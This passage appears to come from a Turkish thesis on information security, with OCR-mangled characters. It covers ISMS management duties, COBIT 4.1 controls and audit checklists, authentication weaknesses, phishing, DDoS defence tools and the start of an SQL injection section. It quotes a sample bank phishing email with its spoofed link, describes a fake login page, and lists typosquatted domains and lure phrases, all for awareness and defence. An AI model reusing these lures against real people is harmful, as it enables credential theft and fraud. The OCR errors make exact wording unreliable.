¢ Bilgi Sistemleri Edinim, Gelistirme ve Bakimu:

Bilgi sistemlerinde gelistirme veya satin alma siireglerinde gilivenlik zafiyetlerine
yol agmayacak sekilde giivenlik gereksinimleri géz oniinde tutularak gelistirme

teknikleri ve proje yonetiminde bu esaslar uygulanir.

e Is Siirekliligi Yonetimi:

Faaliyetlerin kesintiye ugramamasi, felaket durumunda sistemleri korumak ve
kabul edilebilir stirede devamliliklarini saglamak i¢in 6nlemler alir. Kurumda
felaket kurtarma plam olusturulur. Is siirekliligi ve felaket kurtarma planlar1 her
yil diizenli olarak testleri yapilir, test sonras1 yapilacak degerlendirmede eksik ya
da eksikler i¢in planlar iizerinde giincellemeler yapilir.

e Risk Yonetimi:

Kurumun varliklarinin riskleri ve risk degerlendirme metodolojisi belirlenir.
Kabul edilen kriterler ve risk seviyeleri tanimlanir. Kurumda Risk Yonetimi

prosediiriinde degerlendirme ve dnceliklendirmede izlenecek yol belirtilir.

Bilgi Giivenligi Yonetim Sistemi Sekil 11 ‘de goriilecegi lizere birinci asamada
BGYS ‘nin tanimi ve kapsami, ikinci asamada risk degerlendirilmesi, belirlenmesi,
analizler ve bunlarin sonuglarinin raporlanmasi ve son olarak ii¢iincii asgamada BGYS
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icin yonetimden yetki alinmasi, bildirgenin hazirlanmasi1 ve uygulanabilirlik bildirgesi
seklindedir.
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Sekil 11. BGYS Asamalari [9]
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2.1.2 Bilgi Giivenligi Yonetim Sistemi (BGYS) ‘nin Yonetim
Tarafindaki Sorumluluklar:

Yonetim BGYS’nin kurulumuna, gergeklestirilmesine, igletimine, izlenmesine, gézden
gecirilmesine, bakimina ve iyilestirilmesine olan baghligini  asagidakileri

gerceklestirerek kanitlamalidir [10]:

e Bir BGYS politikas1 kurma,

e BGYS amaglarinin ve planlarinin kurulmus olmasini saglama,

e Bilgi giivenligi i¢in rolleri ve sorumluluklar1 kurma,

o Kurulusa, bilgi gilivenligi amaclarin1 karsilamanin ve bilgi giivenligi
politikalarina uyumun Onemini, yasaya karst sorumluluklarint ve siirekli
tyilestirmeye olan gereksinimi bildirme,

e BGYS’yi kurmak, gerceklestirmek, isletmek, izlemek, gozden gecirmek,
siirdliirmek ve iyilestirmek i¢in yeterli kaynak saglama,

e Riskleri kabul etme 6lciitlerini ve kabul edilebilir risk seviyelerini belirleme,

e i¢ BGYS denetimlerinin gergeklestirilmis olmasini saglama ve

e BGYS’nin yonetim gézden gecirmelerini gergeklestirme[10].

2.1.3 Bilgi Giivenligi Yonetim Sisteminde Yonetimin Liderligi

Kurumun bilgi giivenligi acgisindan  kanuni  yiikiimliiliiklerini  yerine
getirememesi veya itibar kaybina ugramasi durumunda kurum ydnetiminin sorumlu
tutulacagt muhakkaktir. Bir kurumun islevlerini bilgi gilivenligi standardina uygun
olarak yerine getirmesi ve sertifikayr amaglamasi bir Yonetim kararidir. Sertifika
alinmasinin  olmazsa olmazi Yonetim destegidir. Isleyisi ve gerekli onlemlerin
stirekliligini saglayacak yetkin iggiliciiniin YOnetim tarafindan saglanmasi ve isleyisin

takip edilmesi gereklidir.[11]
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Denetgi acisindan Yonetim liderliginin somut gostergeleri:

e Risklerin azaltilmasi ve BGYS’nin siirdiiriilmesi i¢in gerekli isgiiclinii ve
biitceyi saglamasi,

o Kabul edilebilir risk seviyesinin belirlenmesi,

e Kurumsal is siireclerine uygunlugu agisindan, belli baglhh politikalarin
belirlenmesi,

e Politikalarin uygulanmasini saglanmasi,

e En az yilda bir kez olmak iizere i¢ tetkik yaptirmasi ve ardindan BGYS gozden

gecirmesini yapmasi olarak siralanabilir.

2.1.4 Bilgi Giivenligi Yonetim Sistemi Kurmanin Yararlari

e Bilgi varliklarinin farkina varma: Kurulus hangi bilgi varliklarinin oldugunu,
degerinin farkina varir.

e Sahip oldugu varliklar1 koruyabilme: Kuracagi kontroller ile koruma metodlarini
belirler ve uygulayarak korur.

e s siirekliligi: Uzun yillar boyunca isini garanti eder. Ayrica bir felaket halinde,
ise devam etme yeterliligine sahip olur.

e [lgili taraflar ile baris halinde olma: Basta tedarikgileri olmak iizere, bilgileri
korunacagindan ilgili taraflarin giivenini kazanir.

¢ Bilgiyi bir sistem sayesinde korur, tesadiife birakmaz.

e Miisterileri degerlendirirse, rakiplerine gore daha iyi degerlendirilir.

e (Calisanlarin motivasyonunu arttirir.

e Yasal takipleri onler.

e Yiksek prestij saglar.
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2.2 BILGi GUVENLIGIi VE COBIT

221 COBIT Nedir?

Cobit, Tiirkge karsihig Bilgi ve Ilgili Teknolojiler icin Kontrol Hedefleri olan
Control Objectives for Information and related Technology kelimelerinden tiretilmis bir
kisaltmadir. ISACA ve ITGI tarafindan 1992 yilinda gelistirilmis, BT YOnetimi i¢in en
iyl uygulamalar kiimesidir. CobiT; ISO teknik standartlari, ISACA ve AB tarafindan
yayinlanan yonetim kanunlari, COSO, AICPA, GAO tarafindan yaymlanan profesyonel
i¢ kontrol ve denetim standartlari tarafindan bigimlendirilmistir. Bir girkette teknolojinin
kullanimindan ve BT yonetisimi ile kontrol gelistirmekten tiireyen faydayr en iist
diizeye ¢ikarmaya yardim etmesi i¢in yoOneticilere, denetgilere ve BT kullanicilarina
genel olarak kabul goérmiis Olciiler, gdstergeler, siirecler ve en iyi uygulamalar saglar.
CobiT’in vizyonu; bilisim teknolojileri yonetisim (IT governance) modeli olmaktir.
CobiT sadece bir denetim araci degil, ayn1 zamanda bir yonetisim aract olma amacini da
tagir. Bu nedenle yonetimden bilisim teknolojileri personeline kadar kurum i¢i ve
disinda, kurumun varlig1 ve saglikl faaliyet gostermesi konularinda risk tistlenen cesitli

taraflara fayda saglama amacini da yerine getirmeyi hedeflemektedir.[12]

222 COBIT Yapis1

Cobit 4.1, dort ana silire¢ altinda toplanmis 34 alt siireg¢ten meydana

gelmektedir. Bu dort ana siire¢ sunlardir:

e Planla ve Organize Et
e Tedarik ve Uygulama
e Teslimat ve Destek

e lzle ve Degerlendir

Bu siireglerin altinda toplam 318 adet kontrol hedefi tanimlanmastir.
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COBIT Kontrol Hedefleri

All | BT Coziimlerinin Belirlenmesi

Al2 |Uygulama Yaziliminin Gelistirilmesi ve Bakimi1

Al3 | Teknoloji Altyapisinin Olusturulmasi ve Bakimi

Al4 | Operasyon ve Kullanimin Saglanmasi

Al5 |Bilgi Sistemleri Kaynaklarinin Karsilanmasi

Al6 |Degisiklik Yonetimi

Al7 | Sistem Coziimlerinin ve Degisikliklerin Uygulanmasi ve Akredite Edilmesi

DS1 |Hizmet Seviyelerinin Tanimlanmasi ve Y 6netimi
DS2 | Ugiincii Kisilerden Alinan Hizmetlerin Y &netimi
DS3 | Performans ve Kapasite Yonetimi

DS4 | Hizmet Siirekliliginin Saglanmasi

DS5 | Sistem Gilivenliginin Saglanmasi

DS6 | Maliyetlerin Belirlenmesi ve Dagitilmasi

DS7 | Kullanicilarin Egitimi

DS8 | Hizmet Sunumu Ydnetimi ve Olay YoOnetimi

DS9 | Konfigiirasyon Y dnetimi
DS10 | Problem Yonetimi
DS11 | Veri Yonetimi

DS12 | Fiziksel Cevre Y Onetimi
DS13 | Operasyon Y onetimi

ME1 |Bilgi Sistemleri Performansinin Izlenmesi ve Degerlendirilmesi

ME2 | I¢ Kontroliin Izlenmesi ve Degerlendirilmesi

MES3 | D1s Gereksinimlere Uyumun Saglanmast

ME4 | Bilgi Sistemlerine Iliskin Kurumsal Yonetisimin Temini

PO1 | Stratejik Bilgi Teknolojileri Planinin Tanimlanmasi

PO2 | Bilgi Mimarisinin Tanimlanmasi

PO3 | Teknolojik Yoniin Belirlenmesi

PO4 | BT Siireglerinin, Organizasyonunun ve Iligkilerinin Tanimlanmasi
PO5 | BT Yatirimlarmin Y 6netilmesi

POG6 | Yonetimin Amaclarinin ve Talimatlarinin {letilmesi

PO7 |BT insan Kaynaklar1 Yonetimi

PO8 |Kalite Yonetimi

PO9 | Bilgi Sistemleri Riskinin Degerlendirilmesi ve Yonetimi

PO10 | Proje yonetimi

Tablo 1. COBIT 4.1 Kontrol Hedefleri
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Her bir siirecin 0-5 arasi bir olgunluk seviyesi vardir. (0 yok, 5 optimize

edilmis) Bu olgek, bir organizasyondaki siirecin olgunluk seviyesi, o silirecin hangi
olgunluk seviyesinde olmasi gerektigi, hangi seviyenin en iyi uygulama olarak

varsayildigi  ve

diger organizasyonlarin ne seviyede oldugu gibi anahtar

degerlendirmeler i¢in kullanilir. Olgunluk modelleri [12];

0 Olmayan:
1 Baslangig:

2 Tekrarlanan:

3  Tanmml:

4  Yonetilen:

5 Optimize:

Tanimlanmis siire¢ bulunmamaktadir.

Organize olmayan ve standartlagmamis fakat kurumda
farkindaligin mevcut oldugu ve adresleme ve standartlastirma
ithtiyacinin tespit edildigi seviyedir

Bireye dayali ve tekrarlanan isleri farkli kisilerin ayni sekilde
yapabildigi seviyedir. Bu seviyede formal egitim ve iletisim
metotlart belirlenmemis fakat sorumluluk biiyiik oranda kisiye
bagli kilinmustir.

Prosediirler standartlasmis ve dokiimante edilmis, egitim araciligi
ile kurum iginde iletilmistir. Ancak bu siiregleri izleyip izlememe
karar1 kisinin kendisine birakilmistir; bu nedenle yapilan isler
arasinda ¢esitli farkliliklar mevcuttur. Prosediirlerin  kendisi
gelismis degildir; ancak mevcut uygulamalarin bigimsellestirilmis
halidir.

Prosediirlerle uyumu izlemek ve Olgmek, siireclerin etkin
calisgmadiginin  anlasilmas1  durumunda  faaliyete  ge¢mek
miimkiindiir. Stirecler siirekli gelismekte ve iyi uygulamalarin
tanimlanmas1 saglanmaktadir. Otomasyon ve araglar kisith veya
parcal1 bir bigcimde kullanilabilmektedir.

Siirecler en iyi uygulamalar seviyesine indirgenmis, siirekli gelisim
ve olgunluk modelleme konusunda diger sirketlerin sonuglart ile
calismaktadir. BT, is akislariin otomatize edilmesi, kalite ve
etkinligin artirilmas1 ve kurumun cabuk adapte olabilmesi igin

entegre olmustur. [12]
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223 COBIT Agisindan Bilgi Giivenligi

COBIT Bilgi giivenligine iligkin “DS5 Sistem Giivenliginin saglanmas1”
baslikli alt siirecinde bu detaylar irdelenmektedir. DS5 siirecinde BT giivenliginde rol
ve sorumluluklari, politikalari, standartlari1 ve prosediirlerin olusturulmast ve

stirdliriilmesini kapsamaktadir. Bu siire¢ de sunlara bakilmaktadir:

e Bilgi giivenligi politikas1 kurumda var olup olmadig1

e Bilgi giivenligi politikast kurum yonetimi tarafindan onaylanip onaylanmadigi

e Bilgi giivenligi ihlalleri ilgili is birimine iletilip iletilmedigi

e Bilgi Giivenligi plan1 mevcut olup olmadigi

e Kurumda bilgi giivenligi farkindalik egitimi verilip verilmedigi

e Ise alinan ¢alisan hakkinda sicil, referans vb. kontroller yapilip yapilmadig

e Kurum c¢alisanlarina “Bilgi gizliligi anlagmas1” imzalatip imzalatilmadigi

e Kurum calisanlarinin politika, standart ve diger c¢ikarilacak dokiimanlara
uyacagina dair bir beyani mevcut olup olmadigi

e Bilgi giivenligi faaliyetlerinin {ist diizeyde yonetilmesi amaciyla bilgi giivenligi
komitesi diizenli araliklarla toplanip toplanmadigt

e Kurum biinyesinde hassas veri iletisimine yonelik kurallarin belirlenmesi
amaciyla yazili bir prosediir olusturulup olusturulmadigi

e Kurumda ise yeni baglayan, isten ayrilan ya da gorev degisiminde kullanici
hesaplarinin kontrolii

e Kullanici yetkilendirme tablosu

e Kullanici erisimlerinin diizenli olarak kontrol edilip edilmedigi

e Ayricalikli kullanict hesaplari

e Uygulama kullanici hesaplari

e Erisim haklarina iligkin prosediiriin var olup olmadigi

e Uzaktan erisime iligkin kontrollerin yapilip yapilmadig:

e Kullanici profilleri, ¢alisanlarin goérevlerine ve gorevler ayrilig1 ilkesine gore
uygun olup olmadigi

e Sunucular(Server) ‘i yetkili kullanici (admin) hesabinin iist yonetim tarafindan

onaylanip onaylanmadigi
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Yetkisiz erisim tesebbiisleri kayit altina alinmasi ve diizenli olarak goézden
gecirilip gegirilmediginin kontrolii

Sunucularin, veri tabanlarinin ve diger sistemlerin iirettigi loglarin (denetim izi)
yonetilmesine iliskin bir standardin ve prosediirlerde dokumante edilip
edilmedigi

Destek hizmeti alinan kuruluslar tarafindan gergeklestirilen islemler takibi ve
kayit altina alinip alinmadigi

Ortak alanlarda bulunan dosyalarin (file server) ‘da birimlerde bulunan ¢alisana
gore erisimlerinin saglanmast

Kriptografik anahtarlarin kullanimi ve anahtarlarin korunmasi

Veri tabanlarindaki bilgilerin giivenliginin saglanmasi

Kurum biinyesinde zararli yazilimlardan korunmasma yonelik prosedir ve
standartlar tanimlanip tanimlanmadigi

Kurum biinyesinde merkezi olarak yonetilen anti viriis programi araciligiyla
viriislere kars1 6nlem alinmasi

Anti viriis uygulamasi kullanicilar tarafindan pasif hale getirilememesi

Yazilim lisanslarinin merkezi olarak takip edilmesi ve lisanssiz yazilimlarin
kurum biinyesinde tespit edilerek takip edilmesinin saglanmasi

Sunucu sistemleri i¢in zararli kodlar i¢in anti virlis yazilimimin kurulup
periyodik taramanin yapilip yapilmadiginin kontrolii

Kurum biinyesinde kullanilan bilgisayar ag1 ile ilgili giivenlik standartlarinin ve
kurallariin tanimlandig bir politika var olup olmadigi

Bilgisayar agi adminlerinin kurumun iist yonetim tarafindan onaylanmasi
Kurumun dis tehditlere olan zafiyetinin degerlendirilmesi amaci ile senelik
olarak bagimsiz bir firma tarafindan diizenli olarak sizma testleri yaptirilip
yaptirilmadigi

Bilgisayar ag1 (Network) 'te yapilan ihlaller veya uygunsuz hareketler diizenli
olarak kontrol edilip edilmedigi

Ag giivenligine iliskin bir prosediiriin mevcut olmasi

Ag cihazlarinda tanimli kurallar1 yedeklerinin alinip ve saklanmasi

Kurum igerisinde kullanilan uzaktan erisimlere iliskin prosediiriin mevcut olup

olmadig1
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e Kurum biinyesinde hassas veri iletisimine yonelik kurallarin belirlenmesi
amaciyla yazili bir prosediiriin olusturulmasi

e Hassas verinin iletilmesi ve imhasini diizenleyen bir prosediiriin var olup
olmadigi

e Sistem yedeklerinin alinmasi ve geri doniis testlerinin yapilmasi

COBIT Bilgi giivenligine iliskin “DS12 Fiziksel Cevre Yonetimi” bagliklr alt

siirecinde sunlara bakilmaktadir:

e s stratejisine bagl teknoloji stratejisini desteklemek amaciyla BT
ckipmanlar1 i¢in uygun yerlesim yeri secilmeli ve tanimlanmali. Yerin
secimi ve tasarimi agamasinda, mesleki saglik ve gilivenlik diizenlemeleri
gibi ilgili yasalar ve diizenlemeler dikkate alarak dogal ve insan kaynakli
felaketlere iliskin riskler de géz 6niinde bulundurulmali.

e Is ihtiyaclarina uygun giivenlik Onlemleri tanimlanmali ve hayata
gecirilmelidir. Onlemler giivenlik smirinin yerlesimini, giivenlik alanlarini,
kritik ekipmanlarin yerini ve nakil ve teslim alanlarini igermelidir. Kritik BT
islemlerinin dikkat ¢ekmemesi saglanmalidir. Izleme icin sorumluluklar
tanimlanarak raporlama ve fiziksel giivenlik olaylarinin ¢oziimlenmesi igin
prosediirler yazilmasi.

e Tiim bina, tesis ve alanlara erisim hakki verilmesi, erisim sinirlanmasi ve
iptal edilmesi i¢in acil durumlarda da gecerli olacak prosediirler
tamimlanmali ve uygulanmalidir. Tim bina, tesis ve alanlara erisim
yetkilendirilmesi, kaydedilmesi ve izlenmesi. Bu durum kurum personeli,
gegici personel, miisteriler, saticilar, ziyaretciler veya diger ti¢lincii sahislar
da dahil olmak iizere tiim bina ve tesislere giren tiim kisiler i¢in gegerli
olmalidir.

e (Cevresel faktorlerden korunmaya yonelik oOnlemler tasarlanmali ve
uygulanmalidir. Cevreyi izlemek ve kontrol etmek i¢in 6zel ekipmanlar ve
cihazlar kurulmalidur.

e Giig ve iletisim ekipmanlari dahil olmak {izere tiim fiziksel tesisler yasalar ve
diizenlemeler, teknik ve is ihtiyaclari, saglik ve giivenlik yonergeleri ile
uyumlu olarak yonetilmelidir.
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3. BIiLGi GUVENLIiGI iHLALLERI

Bilgi giivenligine iliskin yapilan belli basl ihlaller sunlardir:

3.1 Kimlik Dogrulama

Kimlik dogrulama ihlalleri, hesap bilgileri ve oturum anahtarlarinin sifresiz bir

bicimde kullanilmasindan kaynaklanmakta. Bu alanda yapilan ihlallerin internet
ortamina agik oldugunda oOnemi daha da artmakta. Kullanicinin sisteme giris
yapmasindan giivenli ¢ikigina kadar zayif noktalar gézden gecirilmelidir.

Zayif Noktalar:

Parola Y0onetimi

Zaman Asimi

Beni Hatirla

Gizli Soru

Hesap Giincellestirme

SSL Sertifikas1 kullanilmamast

Formlardaki bilgilerin sifrelenmemesi

fonksiyonlar1 boyunca ortaya ¢ikmakta.

Kimlik dogrulama ihlallerini engellemek icin yapilmasi gerekenler:

Ayni kullanic1 hesabi ile tek bir oturum acilmasina izin verilmeli, ikinci bir
oturum agilmasinin engellenmesi.

Internet ortamma acik sistemlerde sisteme giris yapilmadan URL adresi
atlatilarak bir diger sayfaya ge¢isin miimkiin olmamasi.

Oturum kapatma islemi sonrasinda kullanici ve sunucu tarafinda
cerezler(cookie) yok edilmelidir. Insan faktérii géz Oniinde bulundurarak
kullanicinin giivenli ¢ikis yerine tarayici penceresini kapatabilecegi ihtimalinin

g6z ard1 edilmemelidir.
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Kullanici sifre degisiminde kullanicinin eski sifresi dogru girip girmedigi ve
dogru girmesi halinde yeni sifre belirlerken herkes tarafindan kolayca tahmin
edilebilecek sifreler kullanilmas1 sistemde kontrol edilip, tim sartlar
saglandiktan sonra sifre giincellenmeli.

Kurum ig¢inde kullanilan bir sistem ise IP adres engellemesinin yapilmasi. IP
adres araligi tanimlayip bu adres araliginin disinda sisteme girmek isteyen
kullanic ya da kullanicilarin engellenmesi ve bunlarin log kayitlarinin tutulmasi.
Sifremi unuttum segeneginde gonderilen elektronik posta(e-mail) igeriginde
kullaniciya dair gizli bilgilerinin e-mail de degil sisteme kullanici giris yaptiktan
sonra goriintiilemesine ve lizerinde degisiklik(gilincelleme) yapilmasina izin
verilmeli.

Kullanicilar sisteme giriste belli bir yetki sinirlamasi olmali, tam yetki sadece bir
kullanic1 da olmali. Diger kullanicilarin yetkileri sinirli olmali.

Elektronik posta adresi degistirmek isteyen kullaniciya daha once kullandig:
elektronik posta adresine mail gonderilmeli. Bu sekilde bir kontrol yapilmis
olur.

Belli bir siire sistemde islem yapmayan kullanicilar sistem tarafindan otomatik
bir sekilde giivenli ¢ikis (log out) edilerek sistemin disina ¢ikarilmali.

Internet ortaminda kullanilan sistemlerin formlari doldurulduktan sonra formlar
gonderilerken formun igerisindeki bilgiler sifrelenerek iletilip ve sifreli bir
sekilde veri tabanina kaydedilmeli.

Kullanicr yetki degisiklikleri tek bir kullanici tarafindan yapilmasi engellenmeli.
Bunun yerine sistem ilizerinde tam yetkili bir kullanici tarafindan yapilmasi ve
diger bir tam yetkili kullanici tarafindan bu islemin onaylanmas: siirecin saglikli
islemesinde faydali olacaktir.

Uzun bir siire (iki ay ve daha fazla) sisteme giris yapmaya kullanicilarin,
kullanic1 isimleri askiya alinmali. Kullanici giris yapmak istediginde uyari
verilip neden kullanicisiyla giris yapamadiginin bildirilmesi. Askida bulunan
kullanicinin  tekrar aktif hale getirilmesi ic¢in tam yetkili iki kullanict
tarafindan(birinci tam yetkili kullanic1 islemin yapmasi, ikinci kullanicinin bu
islemi onaylamasi) islem yapilmali. izne ayrilan personelin kullanicist kilitli
duruma getirilmeli. Kilitli kullanicinin kilitli durumunun kaldirilmasi bir onay

mekanizmasma bagli olmali. Kilitli durumdaki kullanicinin  kilidinin
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kaldirilmas1 tam yetkili bir kullanic1 tarafindan islem yapilarak islem

tamamlanabilir.

3.2 Yemleme (Phishing)
Son yillarda yayginlasan yemleme(phishing) yontemi ile kullanicilarin

elektronik posta(e-mail) sifresi, sosyal aglardaki kullanict bilgileri, T.C kimlik
numarasi, dogum tarihi, kredi karti bilgileri, banka hesap numarasi ve internet

bankacilig1 en popiiler hedeflerdir. Bu yontemde hedef kitle oncelikle bir elektronik

posta(e-mail) gonderilir.

From: Garanti [mailto:acc@garanti.com.tr

Sent: Tuesday, February 21, 2012 1:00 PM
Subject: uyarmak

o Garanti

Hesabmz siiresi dolmak iizeredir.
Etkin kalaca@ igin, agagidaki baglantiy1 tiklatin ve saglanan adimlan takip edin:

tesekkiirler, Garanti Bankas1

https:/isube.garanti.com.tr/isube/login/login/passwordentrvpersonal-tr

Sekil 12. Yemleme(Phishing) igin E-Mail Ornegi
Gonderilen elektronik postada(e-mailde) yer alan baglantinin {izerine

gelindiginde banka adresinin disinda farkli bir web sitesinin adresi fare imlecinde

goriinmekte (Sekil-13).

http//sube_garanti.com tr/isube/login/

Ihttp 1}fsaluedo.comfsube, garanti.com. trfisube/floginflogin,htm ]

© Garanti Bankasi.

Sekil 13. Yemleme(Phishing) deki E-Maildeki Baglant1 Adresi [13]
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Elektronik postada yer alan baglantiya dikkat edilmeden tiklatildiginda hedef
bankanin web sitesinin benzeri bir sayfa ile kullaniciy1 karsilamakta. Burada

kullanicinin internet bankaciliginda kullandigi kullanici bilgileri ve sifrelerin girilmesi

icin formlar goriilmekte.

9+ Garanti . R

20841 sayds BDOK By Satermier| el Qerogmce intermet Jubeni'ne g ijier de
“Tet Llfanenii $We™ uygudarmans porersu Nk Qeimanyte

Kart No e Bagviry

Asalr Aal | vex enved s den rnn\ luummv\r . Nterret Rlew Tw grjenyesde
Nt s (op Teletonurulzs WH e

st e W
Pinder ok ek |u°mrwﬂ WY LR natel geTeR ouen e

e W

Fhreranh Cop SHtrematic Mobil bemza

® G ant Barh gt P B 3001030 2@ § N SOYSIEAT M Lamm v

Internet Subesl Ana MenUsuni -,
daha hizh kullanmak igin Rismemohtody
Adobe Flash v
Player X * Guverdhrel o n miater) Num av, Yire ve Darclind Qi% Tutun,
1 A nleste payptavnay e
* Garanti Barkan. eponta yohsyla masnter fere gnel Debginr o
.

HIeTe e 1o vo BT i AJerTe yap iy IRt sk el
o Agventd Big won b,

» Baghan adne glem yagryarsana detayh big o lnfen bidayna,
> Tasarruf mevdustng g Bnds. Detayh Dégi «on Nafen bidavng,

Sekil 14. Yemleme(Phishing) i¢in Ornek Banka Sitesi [13]

Kullanict bu bilgileri girdikten sonra “Isleminiz Devam Etmekte” ya da

“Liitfen Bekleyiniz” seklinde bir sayfaya yonlendirerek kullanici bankacilik islemleri
yapmak i¢in yanit1 beklerken kotli amagli kimseler tarafindan bilgiler ¢calinmis oluyor.

(Sekil 15)

Lutfen Sekleyia 01:49

Turkiye Carzatl Baska AS.

Sekil 15. Yemleme(Phishing) deki Yonlendirme Sayfasi [13]

30



Yukarida verdigim 6rnegin disinda su yontemlerde kullanilmaktadir. Yine elektronik

posta(e-mail) yoluyla i¢eriginde asagidaki ifadeler kullanilarak yemleme yapilmaktadir.

e Piyango Kazandiniz

e ... Saat Igerisinde Yanit Vermezseniz Hesabmiz Kapatilacaktir.
e Siirpriz Hediyeler

e Hesabiizi Dogrulayin

e Arkadas Onay1 (Sosyal Paylasim Siteleri I¢in)

e Sifremi Unuttum

e Kisi Ekleme

e Ucretsiz Anti Viriis

e  @xxx.edu.tr Mail Adresleri

Seklinde kullanicilara elektronik posta(e-mail) igerikleri ile phishing(yemleme)
yapilmaktadir.

Taninmis sirketlerin isimlerinden olusan alan adlarinin harflerini degistirerek
ya da benzer harfler ekleyerek yazim hatastyla da yapilmaktadir. Ornegin:

e www.mirosoftt.com

e www.mikcosoft.com

e www.microsoOft.com

e www.microsofd.com

e Www. yahoo-inc.com

e Wwww.pay-pal.com

e www.facebookmail.com

e www. reply.facebook.com
e www.googledrive.com

e www.g00glepage.com

e www. yahooads.com
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Yemleme(Phishing) Saldirilarina Kars1 Alnmasi Gereken Giivenlik Onlemleri

e Giincel bir anti viriis kullanilmasi

e Tanmmadiginiz kisilerden gelen elektronik postalari(e-mailleri) agmayin.

¢ Kisisel bilgilerinizi isteyen elektronik postalara(e-maillere) dikkate almayin.

e Mail igeriginde yer alan baglanti adreslerine tiklamadan 6nce bir kez daha
diisiiniilmeli.

e Internet bankacilig1 gibi 6nemli islemleri yaptigmiz bilgisayar gerekli giivenlik
yazilimlart yiikli degil ise islemleri gerceklestirmeyin.

e Yazim ve clmle hatalarina dikkat edin. Kurumlardan gelen maillerde bu
hatalarinin sayisi ¢ok azdir.

e Uzun alan adlar1 olan baglant1 adreslerinde yemleme(phishing) kolaylikla
yapilmakta.

e Diisiik fiyat ya da hediye kazandiniz seklinde gelen maillerde sizden kisisel
bilgilerinizi istemesi (TC Kimlik Numarasi, Dogum Tarihi, Yerlesim Bilgileri
gibi) bir yemleme (phishing) isaretidir.

e Tehdit igerikli maillerde yemlemenin yapildig: bir diger yontemdir.

e Internet ortaminda oynanan oyunlarda kredi kart1 bilgilerinin istenmesi

e Yarigsmadan, ¢ekilisten 6diil kazandiniz seklinde gelen elektronik posta ya da
cep telefonlarina gelen kisa mesajlarda birer yemleme 6rnegi.

e Elektronik ticaret(e-ticaret) sitelerinin taklit edilmesi.

e Internet te gezinirken web sitelerinde bulunan reklamlarin yonlendirdigi sahte

web siteleri bu saldir1 igin kullanilan bir diger yontem olmakta.
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3.3 Hizmet Vermeyi Engelleyen Daginik Saldirilar (DDOS)

DDOS, ingilizce agilimi "Distributed Denial of Service" Tiirkce karsigi
"Dagmik Hizmet Engelleme" olan bu saldir tiiriinde onceleri sadece DOS(Denial of
Service) ataklar yapilmistir. DOS atak saldirisinda tek bir kaynaktan bir hedefe saldirt
gerceklesirdi.

_— —_
— R
R — —_—

SALDIRGAN HEDEF

Sekil 16. DOS Atak Saldirisi

Internetin gelismesiyle beraber bu saldirt tiirii gelistirilerek DDOS ataklar
yapilmaya baslanmistir. DDOS ataklarinda birden ¢ok kaynaktan tek hedefe yapilan
saldir1 tiiriine dontismiistiir. DDOS ataklarin siddetli ve uzun siireli olmasi yapilan
saldirinin ¢ok yonlii olmasina ve saldirganin kendisini gizlemesine baglidir. Saldirgan,
saldirinin  merkezinde olmayip saldirtyr “zombiler” adi altindaki aglar sayesinde
yapmaktadir.

V=N
T\

— o

: /;' —~
o Y
— ~ —_—
Ny pa
SALDIRGAN \ — /' HEDEF

Sekil 17. DDOS Atak Saldirisi
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DDOS saldirisinin 6zellikleri

e DDOS saldirinda: CPU, RAM, Bandwidth gibi kaynaklarin asir1 kullanimindan
kaynaklanan ve sunucuya(hedef sistem) zarar vermektedir.

e Hedef sistem iizerindeki giivenlik agiklarini taranir ve tespit edilen agikliktan
faydalanarak sisteme ataklar yapilmaktadir.

e Ag giivenlik sistemlerinin kapasitesini zorlama ve kaldiramayacaklar1 kadar asirt
yiik bindirmesidir.

e Profesyonel bir atak saldirisinda Giivenlik Duvari(firewall) devre dis1 kalir.

e Hedef sisteme yiiksek miktarda veri paketi gondermek.

e Agcik bulunan bir porta ping géonderilmesi ve bunun sonucunda hedef sunucu ya
da ag cihazi bunu anlayamadigi i¢in sistem ¢oker ya da cihaz kendini kapatir.

e Aga birden ¢ok noktadan erismeye calisarak hedef sunucuyu g¢okertmek igin
kot amagli bir program kullanarak binlerce zombi bilgisayar kullanir.

e DDOS saldirilar sisteme sizma girisimi degildir.

e DDOS saldirilarinda dis agdaki amaci bankacilik sistemlerinin, web sitelerinin

ve elektronik posta(e-maillerin) ¢alismamasini saglamak.

DDOS saldirilarinin 6zgiir yazilimlar (open source) kullanarak analiz edilip ve

engellenebilir. Belli baghim {icretsiz yazilimlar sunlardir:

e OpenBSD Packet Filter

Anormal paketleri engelleme 6zelligi, IP basina ve session basina limit
koyma 0zelligi, IP bagina maksimim baglanti sayisi limiti koyma, istenilen
IP adresini engelleyebilme 6zelligi, yogun olarak bir tlkeden saldir
geliyorsa o tlilkeye ait ip bloklarmin tiimiinii engellemeye yarayan BSD

lisansi altinda iicretsiz dagitilan bir yazilimdir.
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Tcpdump

Bilgisayara gelen veri paketlerini incelemeye ve filtrelemeye yardimer olan
ag tzerinde iletilen ve alinan TCP/IP veri paketlerinin gozlemlemeyi

saglayan BSD lisansi altinda iicretsiz dagitilan bir yazilimdir.

Snort

Snort 'un 6zellikleri ag trafigini izlemesi, gelen paketlerini kaydetmesi, veri
akisim1 analiz ederek oOnceden tamimlanmis Kurallarla eslestirme islemi

yapilmasini saglayan BSD lisansi altinda ticretsiz dagitilan bir yazilimdir.

Suricata

Suricata, temel ozellikleri saldir1 tespit sistemi(IDS) ve saldir1 engelleme
sistemi(IPS) gibi calisabilmekte, sadece linux degil tiim isletim sistemlerinde
caligabilen, IPv6 protokoliinii desteklemesi, ag baglantilarindaki akislari
takip eder, uygulama katmani denetimi yapan, kullanici tarafindan kural

yiiklenmesi yapilabilen iicretsiz dagitilan bir yazilimdir.
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3.4. SQL Enjeksiyonu (SQL Injection)

SQL Enjeksiyonu yonteminde SQL sorgularini kullanarak meta karakter ve
komutlar teknigi ile yapilmaktadir. Khaleel Ahmad ve arkadaslar1 (Jayant Shekhar, K.P.
Yadav), sql enjeksiyon yoOntemini sOyle tanimlamaktadir: Web uygulamasinin veri
tabanin1 kullanan bir metot olarak tanimlamis, giris dizisine SQL ifadelerine enjekte

edilip veri tabanina yetkisiz erisim saglanmasi seklinde ifade etmistir [14] .

SQL Enjeksiyonda araya sikistirilan meta karakterler bu ihlale neden
olabiliyor. Meta karakterler, programlama dilinde 6zel anlami olan karakterler. SQL
dilinde kullanilan belli basli meta karakterler(tagler) sunlardir: Tek tirnak(‘), Cift

Tirnak(*), Yildiz(*), Boli(/), Ters Boli(\), (@), (;), (<), (>) gibi

SQL Enjeksiyonda uygulamaya verebilecegi zarar sadece sorgu c¢alistirmakla
bitmemektedir. Bu saldir1 tiiriinde veri tabanina, isletim sistemine ve uygulamaya
tamamen zarar verebilmektedir. Son yillarda en sik goriilen giivenlik agiklarindan biri
